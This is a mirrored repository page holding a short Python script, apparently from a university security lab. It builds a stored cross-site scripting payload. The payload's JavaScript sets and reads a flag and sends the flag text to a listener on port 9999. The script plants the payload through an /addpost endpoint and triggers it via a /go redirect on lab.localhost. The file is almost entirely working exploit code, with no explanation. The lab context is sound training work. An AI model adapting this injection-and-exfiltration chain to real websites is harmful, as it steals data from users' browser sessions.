mirror of
https://github.com/20kaushik02/CSE545_SS_Work.git
synced 2025-12-06 07:24:07 +00:00
32 lines
723 B
Python
32 lines
723 B
Python
import requests
|
|
|
|
echo_string = """
|
|
<script>
|
|
fetch(`http://lab.localhost/setflag`, {
|
|
method: 'POST',
|
|
body: new URLSearchParams({
|
|
"secretpass": "guessmeseeyoucant"
|
|
})
|
|
})
|
|
.then(resp => {
|
|
fetch(`http://lab.localhost/getflag`)
|
|
})
|
|
.then(resp2 => {
|
|
return resp2.text();
|
|
})
|
|
.then(text => {
|
|
fetch(`http://lab.localhost:9999/hi=${text}`)
|
|
})
|
|
})
|
|
</script>
|
|
"""
|
|
encode_1 = requests.utils.quote(echo_string)
|
|
|
|
# store the XSS script in server
|
|
middle_url = f"http://lab.localhost/addpost?ptext={encode_1}"
|
|
encode_2 = requests.utils.quote(middle_url)
|
|
|
|
final_url = f"http://lab.localhost/go?gourl={encode_2}"
|
|
|
|
requests.get(final_url)
|